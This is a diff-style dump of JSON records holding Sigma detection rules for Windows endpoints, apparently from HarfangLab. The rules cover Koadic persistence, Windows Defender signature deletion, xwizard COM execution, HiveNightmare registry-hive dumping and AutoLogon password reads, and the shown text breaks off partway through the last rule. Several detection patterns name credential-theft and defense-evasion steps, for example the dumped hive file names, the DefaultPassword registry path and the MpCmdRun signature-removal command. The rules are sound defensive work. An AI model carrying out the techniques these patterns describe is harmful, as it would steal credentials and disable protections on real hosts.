+  "rule_description": "Detects the loading of the Axiom driver.\nAxiom are tools used for malicious activities such as dumping the LSASS' process memory or loading shellcodes using different techniques to avoid being detected by security tools such as EDRs.\nAxiom can exploit CVE-2018-19320 in the GIGABYTE driver, allowing an attacker to disable Driver Signing Enforcement (DSE), which enables them to load malicious and unsigned drivers.\nIt is recommended to investigate the execution context and drivers loaded before this one to determine if a vulnerable driver has not already been loaded beforehand to disable DSE.\n",
+  "rule_creation_date": "2025-03-26",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "28abef34-3af3-4d11-8648-02586c8e3677",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091207Z",
+  "creation_date": "2026-03-23T11:45:34.091209Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091214Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/offsecginger/koadic",
+    "https://attack.mitre.org/software/S0250/",
+    "https://attack.mitre.org/techniques/T1547/001/"
+  ],
+  "name": "t1547_001_koadic_registry_auto_run.yml",
+  "content": "title: Koadic Registry Auto Run Key Added\nid: 28abef34-3af3-4d11-8648-02586c8e3677\ndescription: |\n    Detects the creation of a suspicious registry key used to reconnect a system infected by Koadic back to its C2 server.\n    Koadic is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub.\n    It is recommended to analyze the process responsible for the creation of the registry key and to isolate infected systems if needed.\nreferences:\n    - https://github.com/offsecginger/koadic\n    - https://attack.mitre.org/software/S0250/\n    - https://attack.mitre.org/techniques/T1547/001/\ndate: 2021/02/11\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1547.001\n    - attack.t1112\n    - attack.s0250\n    - classification.Windows.Source.Registry\n    - classification.Windows.Framework.Koadic\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|contains: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\K0adic'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "28abef34-3af3-4d11-8648-02586c8e3677",
+  "rule_name": "Koadic Registry Auto Run Key Added",
+  "rule_description": "Detects the creation of a suspicious registry key used to reconnect a system infected by Koadic back to its C2 server.\nKoadic is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub.\nIt is recommended to analyze the process responsible for the creation of the registry key and to isolate infected systems if needed.\n",
+  "rule_creation_date": "2021-02-11",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1547.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "28d20158-d429-4503-ae1d-75bc9fce17d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610645Z",
+  "creation_date": "2026-03-23T11:45:34.610648Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610656Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.logpoint.com/wp-content/uploads/2023/04/logpoint-a-comprehensive-guide-to-detect-ransomware.pdf",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_windows_defender_delete_signatures.yml",
+  "content": "title: Windows Defender Signatures Removed\nid: 28d20158-d429-4503-ae1d-75bc9fce17d1\ndescription: |\n    Detects the execution of MpCmdRun.exe to delete Windows Defender signatures.\n    Without malware signatures, Windows Defender's detection capabilities are greatly reduced, making the computer much more vulnerable to malware.\n    It is recommended to analyze the parent process to look for malicious content or actions, as well as to investigate any subsequent suspicious actions on the host.\nreferences:\n    - https://www.logpoint.com/wp-content/uploads/2023/04/logpoint-a-comprehensive-guide-to-detect-ransomware.pdf\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2020/11/12\nmodified: 2025/02/07\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        Image|endswith: '\\MpCmdRun.exe'\n        CommandLine|contains|all:\n            - '-RemoveDefinitions'\n            - '-All'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "28d20158-d429-4503-ae1d-75bc9fce17d1",
+  "rule_name": "Windows Defender Signatures Removed",
+  "rule_description": "Detects the execution of MpCmdRun.exe to delete Windows Defender signatures.\nWithout malware signatures, Windows Defender's detection capabilities are greatly reduced, making the computer much more vulnerable to malware.\nIt is recommended to analyze the parent process to look for malicious content or actions, as well as to investigate any subsequent suspicious actions on the host.\n",
+  "rule_creation_date": "2020-11-12",
+  "rule_modified_date": "2025-02-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "28ecd314-0f16-44e2-a058-e6fdf4ea508c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623081Z",
+  "creation_date": "2026-03-23T11:45:34.623083Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623087Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1112_suspicious_registry_activity_binarydata.yml",
+  "content": "title: Suspicious Binary Data Written to Registry\nid: 28ecd314-0f16-44e2-a058-e6fdf4ea508c\ndescription: |\n    Detects the suspicious creation of registry values containing binary data in unusual locations.\n    Attackers may try to hide payloads or configuration data by writing them in the registry to avoid file-based detections.\n    It is recommended to analyze the data written to the registry key and to analyze the process performing the write to look for malicious content.\nreferences:\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2024/08/20\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        Details: 'Binary Data'\n        TargetObject|startswith:\n            - 'HKLM\\SOFTWARE\\Microsoft\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\'\n            - 'HKLM\\SOFTWARE\\Windows\\'\n        ProcessImage|contains: '?'\n\n    selection_suspicious_process:\n        ProcessImage|endswith:\n            - '\\wscript.exe'\n            - '\\cscript.exe'\n            - '\\cmd.exe'\n            - '\\powershell.exe'\n            - '\\rundll32.exe'\n\n    filter_microsoft_signed:\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows Publisher'\n            # Windows 7 with Windows Defender\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    filter_level:\n        TargetObject|startswith:\n            - 'HKLM\\SOFTWARE\\Microsoft\\\\*\\\\*\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\\\*\\\\*\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\\\*\\\\*\\'\n            - 'HKLM\\SOFTWARE\\Windows\\\\*\\\\*\\'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n            - '?:\\PROGRA~?\\'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_legitimate:\n        - ProcessImage:\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupPlatform.exe'\n            - '?:\\Windows\\System32\\SearchIndexer.exe'\n            - '*\\BarTender*\\BarTend.exe'\n            - '*\\BarTender*\\Licensing.Service.exe'\n            - '?:\\Windows\\System32\\dxgiadaptercache.exe'\n            - '?:\\Windows\\System32\\lmabcoms.exe'\n            - '?:\\Windows\\System32\\DKabcoms.exe'\n            # http://www.mirage-systems.info/download/licence-protector/update/release2.3.2/licenceprotector-webactivationdocumentation.pdf\n            - '?:\\Windows\\System32\\LicProtector*.exe'\n            - '?:\\Windows\\System32\\dolsrvcbar2.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n            # Diane Medical Software\n            - '*\\DianeUpdate.exe'\n        - ProcessSigned: 'true'\n          ProcessSignature:\n            # ASUS\n            - 'MAGIC CONTROL TECHNOLOGY CORPORATION'\n            - 'Magic Control Technology Corp.'\n            # Diane Medical Software\n            - 'BOW MEDICAL SAS'\n            # Lenovo Keyboard installer\n            - 'Thawte Code Signing CA'\n\n    exclusion_config:\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Ole\\\\*'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows Search\\MigPluginHandle'\n            # Legacy registry key used for Windows version <= XP to control\n            # the driver signing policy.\n            - 'HKLM\\SOFTWARE\\Microsoft\\Driver Signing\\Policy'\n\n    exclusion_hostintegration:\n        ProcessCommandLine|contains: '!Microsoft.HostIntegration.CustomActions.Product.InstallChecksum'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Host Integration Server\\checksum'\n\n    exclusion_aomei:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\AOMEI\\\\*'\n\n    condition: selection and (not filter_microsoft_signed or selection_suspicious_process) and not filter_level and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "28ecd314-0f16-44e2-a058-e6fdf4ea508c",
+  "rule_name": "Suspicious Binary Data Written to Registry",
+  "rule_description": "Detects the suspicious creation of registry values containing binary data in unusual locations.\nAttackers may try to hide payloads or configuration data by writing them in the registry to avoid file-based detections.\nIt is recommended to analyze the data written to the registry key and to analyze the process performing the write to look for malicious content.\n",
+  "rule_creation_date": "2024-08-20",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "290238d3-827b-4799-9862-c07aae86b558",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627693Z",
+  "creation_date": "2026-03-23T11:45:34.627695Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627699Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/",
+    "https://www.youtube.com/watch?v=LwDHX7DVHWU",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_xwizard_lolbas_execution.yml",
+  "content": "title: COM Object Executed via Xwizard\nid: 290238d3-827b-4799-9862-c07aae86b558\ndescription: |\n    Detects the execution of Xwizard with options to run a Component Object Model (COM) object.\n    Attackers can create custom class objects in registry and execute them to evade defensive countermeasures.\n    It is recommended to analyze the registry to look for signs of tampering with the CLSID mentioned in the XWizard commmand-line.\n    It is also recommended to look for any subsequent suspicious activities on host following the execution of the COM object.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Xwizard/\n    - https://www.youtube.com/watch?v=LwDHX7DVHWU\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/11/18\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.XWizard\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        Image|endswith: '\\xwizard.exe'\n        OriginalFileName: 'xwizard.exe'\n\n    selection_cmd:\n        CommandLine|contains|all:\n            - ' RunWizard '\n            - ' {????????-????-????-????-????????????}'\n\n    # This is handled by the rule 99afba1b-3560-4a5a-8e16-3a4e64477931\n    filter_download:\n        CommandLine|contains|all:\n            - ' RunWizard '\n            - ' {7940acf8-60ba-4213-a7c3-f3b400ee266d}'\n\n    exclusion_network_cmdline:\n        CommandLine:\n            # Connect to a Network Task\n            - '?:\\WINDOWS\\system32\\xwizard.exe RunWizard {7071ECE0-663B-4bc1-A1FA-B97F3B917C55}'\n            # # Connect to the Internet Task\n            - '?:\\windows\\system32\\xwizard.exe RunWizard {7071ECA0-663B-4bc1-A1FA-B97F3B917C55}'\n            # Add a device to the network\n            - '?:\\Windows\\system32\\xwizard.exe RunWizard {d1a4299a-0adf-11da-b070-0011856571de}'\n            # Create a VPN Connection\n            - '?:\\WINDOWS\\system32\\xwizard.exe RunWizard {7071EC75-663B-4bc1-A1FA-B97F3B917C55}'\n            # Create a Dial-Up Connection\n            - '?:\\WINDOWS\\system32\\xwizard.exe RunWizard {7071EC71-663B-4bc1-A1FA-B97F3B917C55}'\n            # Create a Broadband Connection\n            - '?:\\WINDOWS\\system32\\xwizard.exe RunWizard {C03E8585-781E-49a1-8190-CE902D0B2CE7}'\n\n    exclusion_parent:\n        ParentImage:\n            - '?:\\Windows\\Explorer.EXE'\n            - '?:\\Windows\\System32\\sihost.exe'\n\n    exclusion_immersivecontrolpanel:\n        - ParentImage: '?:\\Windows\\ImmersiveControlPanel\\SystemSettings.exe'\n        - GrandparentImage: '?:\\Windows\\ImmersiveControlPanel\\SystemSettings.exe'\n\n    condition: all of selection_* and not 1 of filter_* and not (exclusion_network_cmdline and (exclusion_parent or exclusion_immersivecontrolpanel))\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "290238d3-827b-4799-9862-c07aae86b558",
+  "rule_name": "COM Object Executed via Xwizard",
+  "rule_description": "Detects the execution of Xwizard with options to run a Component Object Model (COM) object.\nAttackers can create custom class objects in registry and execute them to evade defensive countermeasures.\nIt is recommended to analyze the registry to look for signs of tampering with the CLSID mentioned in the XWizard commmand-line.\nIt is also recommended to look for any subsequent suspicious activities on host following the execution of the COM object.\n",
+  "rule_creation_date": "2022-11-18",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "296240f3-d28f-4ac7-912a-2ef80d9d7e20",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085539Z",
+  "creation_date": "2026-03-23T11:45:34.085542Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085546Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://doublepulsar.com/hivenightmare-aka-serioussam-anybody-can-read-the-registry-in-windows-10-7a871c465fa5",
+    "https://www.kb.cert.org/vuls/id/506989",
+    "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36934",
+    "https://attack.mitre.org/techniques/T1552/001/"
+  ],
+  "name": "t1552_001_hivenightmare.yml",
+  "content": "title: HiveNightmare CVE-2021-36934 Vulnerability Exploited\nid: 296240f3-d28f-4ac7-912a-2ef80d9d7e20\ndescription: |\n    Detects the exploitation of CVE-2021-36934 aka HiveNightmare or SeriousSAM by different PoC (Proof of Concept).\n    This vulnerability allows an attacker to dump sensible registry hives as non-admin users.\n    It is recommended to immediately check shadow copy permissions, remove overly permissive access to system registry files, and apply Microsoft security update KB5005030/KB5005031/KB5005033.\nreferences:\n    - https://doublepulsar.com/hivenightmare-aka-serioussam-anybody-can-read-the-registry-in-windows-10-7a871c465fa5\n    - https://www.kb.cert.org/vuls/id/506989\n    - https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36934\n    - https://attack.mitre.org/techniques/T1552/001/\ndate: 2021/07/26\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.001\n    - cve.2021-36934\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Exploit.CVE-2021-36934\n    - classification.Windows.Exploit.HiveNightmare\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path:\n            # https://github.com/GossiTheDog/HiveNightmare/ (old version)\n            - '*\\SAM-haxx'\n            - '*\\SECURITY-haxx'\n            - '*\\SYSTEM-haxx'\n\n            # https://github.com/GossiTheDog/HiveNightmare/\n            - '*\\SAM-????-??-??'\n            - '*\\SECURITY-????-??-??'\n            - '*\\SYSTEM-????-??-??'\n\n            # https://github.com/HuskyHacks/ShadowSteal\n            - '*\\\\????????????_ShadowSteal.zip'\n\n            # https://github.com/FireFart/hivenightmare\n            - '*\\hive_sam_202??-??-??T??_??_??'\n            - '*\\hive_security_202??-??-??T??_??_??'\n            - '*\\hive_system_202??-??-??T??_??_??'\n\n            # https://github.com/WiredPulse/Invoke-HiveNightmare\n            - '*\\Sam.hive?'\n            - '*\\Soft.hive?'\n            - '*\\Sys.hive?'\n    condition: selection\nfalsepositives:\n  - Legitimate user's file with same name\nlevel: high\n#level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "296240f3-d28f-4ac7-912a-2ef80d9d7e20",
+  "rule_name": "HiveNightmare CVE-2021-36934 Vulnerability Exploited",
+  "rule_description": "Detects the exploitation of CVE-2021-36934 aka HiveNightmare or SeriousSAM by different PoC (Proof of Concept).\nThis vulnerability allows an attacker to dump sensible registry hives as non-admin users.\nIt is recommended to immediately check shadow copy permissions, remove overly permissive access to system registry files, and apply Microsoft security update KB5005030/KB5005031/KB5005033.\n",
+  "rule_creation_date": "2021-07-26",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1552.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "297f5f7a-9497-405d-91ba-b35ccb189367",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620925Z",
+  "creation_date": "2026-03-23T11:45:34.620927Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620932Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/troubleshoot/windows-server/user-profiles-and-logon/turn-on-automatic-logon",
+    "https://attack.mitre.org/techniques/T1552/002/"
+  ],
+  "name": "t1003_002_susp_registry_read_winlogon_autologon.yml",
+  "content": "title: AutoLogon Password Read from Registry\nid: 297f5f7a-9497-405d-91ba-b35ccb189367\ndescription: |\n    Detects a suspicious read operation on registry keys storing information related to Windows AutoLogon.\n    Adversaries may access Autologon password in order to reconnect to the machine or move laterally.\n    It is recommended to check whether the process accessing the registry keys has legitimate reasons to do it.\nreferences:\n    - https://learn.microsoft.com/en-us/troubleshoot/windows-server/user-profiles-and-logon/turn-on-automatic-logon\n    - https://attack.mitre.org/techniques/T1552/002/\ndate: 2024/04/02\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.002\n    - attack.discovery\n    - attack.t1012\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'ReadValue'\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DefaultPassword'\n        ProcessImage|startswith:\n            - '?:\\windows\\'\n            - '?:\\ProgramData\\'\n            - '?:\\PerfLogs\\'\n            - '?:\\temp\\'\n            - '?:\\users\\public\\'\n            - '?:\\users\\\\*\\appdata\\'\n            - '?:\\\\?Recycle.Bin\\'\n\n    filter_reg:\n        ProcessImage:\n            - '?:\\Windows\\System32\\reg.exe'\n            - '?:\\Windows\\syswow64\\reg.exe'\n        ProcessCommandLine|contains:\n            - 'reg add * /v DefaultPassword /t REG_SZ /d '\n            - 'reg.exe add * /v DefaultPassword /t REG_SZ /d '\n            - 'reg import '\n            - 'reg.exe import '\n\n    filter_lsass:\n        ProcessImage:\n            - '?:\\Windows\\System32\\lsass.exe'\n            - '\\Device\\VhdHardDisk{????????-????-????-????-????????????}\\Windows\\System32\\lsass.exe'\n\n    filter_logonui:\n        ProcessImage: '?:\\Windows\\System32\\logonui.exe'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_defender:\n        Image: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        ProcessParentImage:\n            - '?:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseIR.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\\\*\\SenseIR.exe'\n        ProcessGrandparentImage:\n            - '?:\\Program Files\\Windows Defender Advanced Threat Protection\\MsSense.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\\\*\\MsSense.exe'\n\n    exclusion_regedit:  # too many fp\n        Image: '?:\\Windows\\regedit.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_windowssetup:\n        Image:\n            - '?:\\$WINDOWS.~BT\\Sources\\setupplatform.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\setuphost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_sysinternals_autologon:\n        ProcessDescription: 'Autologon configuration'\n        ProcessProduct: 'Sysinternals Autologon'\n        ProcessSigned: 'true'\n        